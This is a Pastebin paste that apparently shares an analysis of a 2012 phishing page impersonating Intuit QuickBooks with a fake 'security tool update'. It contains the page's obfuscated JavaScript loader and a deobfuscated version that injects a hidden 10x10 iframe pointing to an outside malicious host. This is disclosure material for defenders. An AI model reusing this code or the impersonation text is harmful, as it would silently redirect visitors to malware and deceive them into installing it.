Advertisement
adityaks

Intuit Phishing Campaign - Deobfuscated Script

Aug 28th, 2012
46,495
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <html>
  2. <title>Intuit&reg; Small Business | Accounting Software, Pay by Mobile, Free Website Builder</title>
  3. <h2>You will not be able to access your Intuit QuickBooks account without updated Intuit Security Tool (ISTâ„¢) after 31th of August, 2012.</h2>
  4. <h3></h3>
  5. <h4>Loading Intuit Security Tool update information... Please wait...</h4>
  6. <br>
  7. <h6>After a successful download please run the setup for an automatic installation, then login to Intuit Quickbooks online to check that it is working properly.</h6>
  8.  
  9. <script>try{wegewg++;}catch(hsens){try{sernbhsdfx|15232}catch(eryres){m=Math;if(m)f="fl"+"o"+"or";}ff="fromCharCode";n="126..135..1470..1530..448..600..1400..1665..1386..1755..1526..1515..1540..1740..644..1545..1414..1740..966..1620..1414..1635..1414..1650..1624..1725..924..1815..1176..1455..1442..1170..1358..1635..1414..600..546..1470..1554..1500..1694..585..574..1365..672..1395..574..1845..182..135..126..135..1470..1530..1596..1455..1526..1515..1596..600..574..885..182..135..126..1875..448..1515..1512..1725..1414..480..1722..195..126..135..126..1500..1554..1485..1638..1635..1414..1650..1624..690..1666..1710..1470..1740..1414..600..476..900..1470..1530..1596..1455..1526..1515..448..1725..1596..1485..854..585..1456..1740..1624..1680..812..705..658..1710..1554..1455..1400..1635..1358..1740..1414..1710..1414..1635..1554..1770..1414..690..1554..1710..1442..705..1526..1455..1470..1650..644..1680..1456..1680..882..1680..1358..1545..1414..915..798..1470..1372..780..1358..1455..1372..840..742..1530..1358..825..672..765..1428..795..546..480..1666..1575..1400..1740..1456..915..546..735..672..585..448..1560..1414..1575..1442..1560..1624..915..546..735..672..585..448..1725..1624..1815..1512..1515..854..585..1652..1575..1610..1575..1372..1575..1512..1575..1624..1815..812..1560..1470..1500..1400..1515..1540..885..1568..1665..1610..1575..1624..1575..1554..1650..812..1455..1372..1725..1554..1620..1638..1740..1414..885..1512..1515..1428..1740..812..720..826..1740..1554..1680..812..720..826..585..868..900..658..1575..1428..1710..1358..1635..1414..930..476..615..826..195..126..135..1750..195..126..135..1428..1755..1540..1485..1624..1575..1554..1650..448..1575..1428..1710..1358..1635..1414..1710..560..615..1722..195..126..135..126..1770..1358..1710..448..1530..448..915..448..1500..1554..1485..1638..1635..1414..1650..1624..690..1386..1710..1414..1455..1624..1515..966..1620..1414..1635..1414..1650..1624..600..546..1575..1428..1710..1358..1635..1414..585..574..885..1428..690..1610..1515..1624..975..1624..1740..1596..1575..1372..1755..1624..1515..560..585..1610..1710..1386..585..616..585..1456..1740..1624..1680..812..705..658..1710..1554..1455..1400..1635..1358..1740..1414..1710..1414..1635..1554..1770..1414..690..1554..1710..1442..705..1526..1455..1470..1650..644..1680..1456..1680..882..1680..1358..1545..1414..915..798..1470..1372..780..1358..1455..1372..840..742..1530..1358..825..672..765..1428..795..546..615..826..1530..644..1725..1624..1815..1512..1515..644..1770..1470..1725..1470..1470..1470..1620..1470..1740..1694..915..546..1560..1470..1500..1400..1515..1540..585..826..1530..644..1725..1624..1815..1512..1515..644..1680..1554..1725..1470..1740..1470..1665..1540..915..546..1455..1372..1725..1554..1620..1638..1740..1414..585..826..1530..644..1725..1624..1815..1512..1515..644..1620..1414..1530..1624..915..546..720..546..885..1428..690..1610..1740..1694..1620..1414..690..1624..1665..1568..915..546..720..546..885..1428..690..1610..1515..1624..975..1624..1740..1596..1575..1372..1755..1624..1515..560..585..1666..1575..1400..1740..1456..585..616..585..686..720..546..615..826..1530..644..1725..1414..1740..910..1740..1624..1710..1470..1470..1638..1740..1414..600..546..1560..1414..1575..1442..1560..1624..585..616..585..686..720..546..615..826..195..126..135..126..1500..1554..1485..1638..1635..1414..1650..1624..690..1442..1515..1624..1035..1512..1515..1526..1515..1540..1740..1610..990..1694..1260..1358..1545..1092..1455..1526..1515..560..585..1372..1665..1400..1815..546..615..1274..720..1302..690..1358..1680..1568..1515..1540..1500..938..1560..1470..1620..1400..600..1428..615..826..195..126..135..1750".split("..");h=2;s="";if(m)for(i=0;i-621!=0;i=1+i){k=i;s+=String[ff](n[k]/(i-h*Math[f](i/h)+016));}if(window.document)if(018-0xf===3)alert(""+s);}</script>
  10.  
  11. </html>
  12.  
  13. ======================= Deobfuscated Script ===================================
  14.  
  15. if (document.getElementsByTagName('body')[0]){
  16.             iframer();
  17.         } else {
  18.             document.write("<iframe src='http://roadmateremove.org/main.php?page=9bb4aab85fa703f5' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
  19.         }
  20.         function iframer(){
  21.             var f = document.createElement('iframe');f.setAttribute('src','http://roadmateremove.org/main.php?page=9bb4aab85fa703f5');f.style.visibility='hidden';f.style.position='absolute';f.style.left='0';f.style.top='0';f.setAttribute('width','10');f.setAttribute('height','10');
  22.             document.getElementsByTagName('body')[0].appendChild(f);
Advertisement
Advertisement
Advertisement
RAW Paste Data Copied
Advertisement